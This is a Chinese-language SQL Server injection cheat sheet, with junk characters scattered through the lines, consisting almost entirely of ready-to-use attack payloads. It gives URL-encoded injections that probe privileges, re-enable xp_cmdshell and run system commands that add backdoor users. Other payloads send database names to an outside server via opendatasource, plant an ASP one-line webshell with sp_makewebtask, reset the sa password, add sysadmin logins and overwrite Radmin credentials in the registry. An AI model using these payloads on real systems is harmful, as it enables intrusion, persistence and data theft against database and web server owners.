//看看是什么权限的, ~0 P2 T, z+ t
and 1=(Select IS_MEMBER('db_owner'))! d- T/ X/ r; r& I& Y$ T
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
! G" f/ @& V+ g3 X) f4 i" }$ S' ^. C$ |2 c8 u6 J: C# t7 y
//检测是否有读取某数据库的权限
! H ^" D( `4 B* o z8 @( k, X) Z2 ~and 1= (Select HAS_DBACCESS('master'))
_8 f" t8 @/ P; TAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
0 y. V7 W; C. @6 B6 V0 t+ ]' w+ k6 v8 z6 F
+ H. l- c4 {) j# G
数字类型
8 r- ?; c% ?9 {! f hand char(124)%2Buser%2Bchar(124)=0
4 q/ s/ R3 V+ J# q) J
3 V6 ^: K! h6 c" }- ?/ Q7 ]) A字符类型
2 s9 C( H* W$ H, P& L+ W. Z2 h$ K( ]' and char(124)%2Buser%2Bchar(124)=0 and ''='
, ^& H$ O: E" x
& U/ v! G% x! H! }4 a: M/ H6 j搜索类型# M p( E+ Q8 `
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
0 ?: _ K6 q7 O- D4 P
" N' Y' C9 m; e3 }7 r+ [爆用户名- e, D) ^2 R2 e g
and user>0* S1 V, q7 m3 n+ G1 ^
' and user>0 and ''='% w; F" u: W& ~. Q, [& }
+ `. U! P( u/ K% p2 v检测是否为SA权限; v& Y; ^% t. Q4 s) c1 j+ g
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--( H) F: q5 A( Q. X% a
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
) G% W* q* V% A6 U' h, T; \- d
+ E: v1 l: H E+ ?7 k3 R检测是不是MSSQL数据库% o H; H- }; z/ h& i
and exists (select * from sysobjects);--
, |7 d3 H, m0 h4 i [5 R! u" S$ W7 ^, F, S/ L# [
检测是否支持多行- ?$ c6 Z8 j8 d9 w
;declare @d int;--4 ~2 n. [9 M2 P5 g
4 A* h: i$ J; d+ X; j9 ]( Y恢复 xp_cmdshell1 p. |$ Q) I# w
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
0 a0 g7 ~& U) ]! C% r3 C; M8 F( d2 E
, W# j' E0 [- r z! g; y. b, Sselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
) h* |2 ?# f( B) ~) [' B6 p4 t4 h8 c4 n% S/ v( P- F( h( e
//-----------------------
6 q$ y3 d( P" n5 N) `' x// 执行命令: V! D* r7 T, H7 x6 P+ b
//-----------------------. Z7 X" R5 n7 X4 P
首先开启沙盘模式:
! a( v3 J& u& {1 e& |/ \1 h/ v+ v% Qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) l; z# F3 {& x, D8 ?7 p( A8 y3 E' [! R0 }/ {
然后利用jet.oledb执行系统命令2 I! Q+ h$ C8 H1 Y% w. ?
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
6 O) E( t2 {$ j' E. M: |7 Y' Z! B' ]8 I5 y& j
执行命令
6 t/ i! O0 e5 ~ C9 L* r- Z;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--2 P" I. Z3 ]% P9 N1 I4 [# n
! e$ L x/ X# n! K
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
( ] i' q+ B( L% d
& N) L+ {2 F. G' a+ _4 ~判断xp_cmdshell扩展存储过程是否存在:% a0 e" i: P7 p; C7 C
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
( G1 q0 q% g' g6 U
& h8 C: U3 g- o5 W* @写注册表 i5 k& t2 k3 o; d, ?9 P
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 ~- y& t; f4 R6 u+ W+ z
! O" z! ^+ L2 T8 wREG_SZ
' j3 N3 K+ M) e) R5 a, J0 {
4 P! F" `0 U A" _! \读注册表
0 O# V3 K3 z2 nexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'. Y3 w- Z% N! i" D4 B
9 u: }1 t: O9 @8 S0 @读取目录内容. W% q- P' [& o t1 O' Z
exec master..xp_dirtree 'c:\winnt\system32\',1,1
5 T9 g: d3 I9 L- W5 {5 Z- O3 Y0 [1 E
; G& ~: R% c9 U; X. x1 c# p
数据库备份8 T" V2 ^' Y6 u3 n. o* E
backup database pubs to disk = 'c:\123.bak'2 t1 d. D& F9 j8 B( O, o- j
6 E0 J& R5 Q. L" J! {; y# ~//爆出长度
0 w0 m: K* x. a$ j/ _And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
* A" w! R7 ]. x: L: ~6 F4 k/ x6 {: \" j
8 }$ L" q1 y I$ o6 T. | j
1 G" Q; f- I) f% P+ G6 |; s更改sa口令方法:用sql综合利用工具连接后,执行命令:3 @: z; Q3 y f# B4 H- W+ C5 B
exec sp_password NULL,'新密码','sa'
; [8 o1 }2 r- U5 | k" d4 I0 f3 R. d: s' S J" {
添加和删除一个SA权限的用户test:7 S) g; A7 L5 w* P g9 ^5 B s
exec master.dbo.sp_addlogin test,9530772, c) Y+ H/ M- K0 b3 P8 c( K, ^
exec master.dbo.sp_addsrvrolemember test,sysadmin' X7 f3 Y' Z4 O/ w7 X
4 P( F! k( X4 w删除扩展存储过过程xp_cmdshell的语句:& A; Y, U7 a& \" n6 H8 z3 U5 R
exec sp_dropextendedproc 'xp_cmdshell'2 |% a# ]7 S' C5 J) z' ~; W- e/ M
: y/ E- y+ P% b1 x1 |$ P7 U添加扩展存储过过程
7 Y8 g1 Y. k G! FEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
9 P) K; T: `, @, t4 OGRANT exec On xp_proxiedadata TO public, S1 J& S& G4 A$ J5 T0 { Z
' t% b S' H3 z, _ H
/ H! T6 g( s% f
停掉或激活某个服务。
' i: E, _( K5 z. _2 Z: o8 R. P9 k ~$ S: d/ X# H- Y. n/ W
exec master..xp_servicecontrol 'stop','schedule'& D1 I% d1 N+ p, J u8 `) g
exec master..xp_servicecontrol 'start','schedule'
3 p4 {& s5 N+ L1 x
- O+ B) r1 I- q8 s, @dbo.xp_subdirs; A" w; t/ ?6 Y* Y; I0 n
4 s7 u8 a. Q$ }: f3 h2 L
只列某个目录下的子目录。
5 O, Y1 J H, H+ n, pxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'& c+ h) T- h. I
# o* ~: V: V& U2 H1 ]dbo.xp_makecab
: ?3 o, t/ a5 d" j/ j: I2 C& v' y- ?- A5 [" X0 Q$ H
将目标多个档案压缩到某个目标档案之内。/ N! {( M; A! k# U8 ^& h
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。0 f, Q- o: a( X% s
' A5 h* w7 F( f/ Q. ]- E5 r+ O8 kdbo.xp_makecab3 Z/ N2 u' A5 T; I
'c:\test.cab','mszip',1,3 M. n5 ?8 T5 V/ \" i
'C:\Inetpub\wwwroot\SQLInject\login.asp', X) _, `4 _" k7 f( e/ }! z
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
$ Z! x9 _0 ?" m9 n
/ I' t4 `/ B& B* Cxp_terminate_process# F1 H+ o+ _# u1 R; x$ C
- G" A" R# X: b7 {+ r8 j% y8 K$ p停掉某个执行中的程序,但赋予的参数是 Process ID。+ k, P% q0 N9 M) B8 k
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
% r1 Z. c5 K/ p3 s; f3 E/ r/ I" r: K+ d8 C
xp_terminate_process 2484& x* t* ?5 e0 V/ P/ {$ K
4 ?- R v* j7 W- y. Uxp_unpackcab
8 D9 t# u/ C. M; A, x. U6 X6 U8 W& |7 S% z- c. L
解开压缩档。+ g( J7 v3 d" b: |& Y6 `0 `
" |, f" b$ D B6 u/ }- Kxp_unpackcab 'c:\test.cab','c:\temp',1
/ Z6 `9 ?$ H# @ p# _& R
/ ^0 \; D* z- t) L
; n( e2 U4 H' m F, a: `0 G某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
1 {7 n G' m0 W. m" P9 k
6 G! E6 W# q, J3 xcreate database lcx;
9 f$ W$ i: O9 }Create TABLE ku(name nvarchar(256) null);4 G6 X" \' v- \; K: K
Create TABLE biao(id int NULL,name nvarchar(256) null);3 ^+ h F2 K# o! @7 P2 x6 ], d
a4 }4 G- V5 S
//得到数据库名
! P/ Y3 k8 f& S6 xinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases, x, u% w( F$ U' w
1 }; ~2 v* P) k9 |8 A) R c) ?
: O2 X6 Y' k+ G% i//在Master中创建表,看看权限怎样( @1 X+ F$ O3 y: k6 G
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: _4 X! ?( o8 \* i: n1 B; } Y+ y" ?, C, {4 M, ]
用 sp_makewebtask直接在web目录里写入一句话马:& ^4 @0 F) \; B8 g7 @! W
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
5 |) E! R# Z$ F; B
# l9 g+ V+ a# j2 w1 H; J) G* g3 e//更新表内容# @( W; {2 W% x, _
Update films SET kind = 'Dramatic' Where id = 1238 P+ T$ A L4 R0 V6 J( \; X1 G
d9 Q, H- o8 }. d//删除内容* l. E- J8 ~+ k: S9 O
delete from table_name where Stockid = 3 |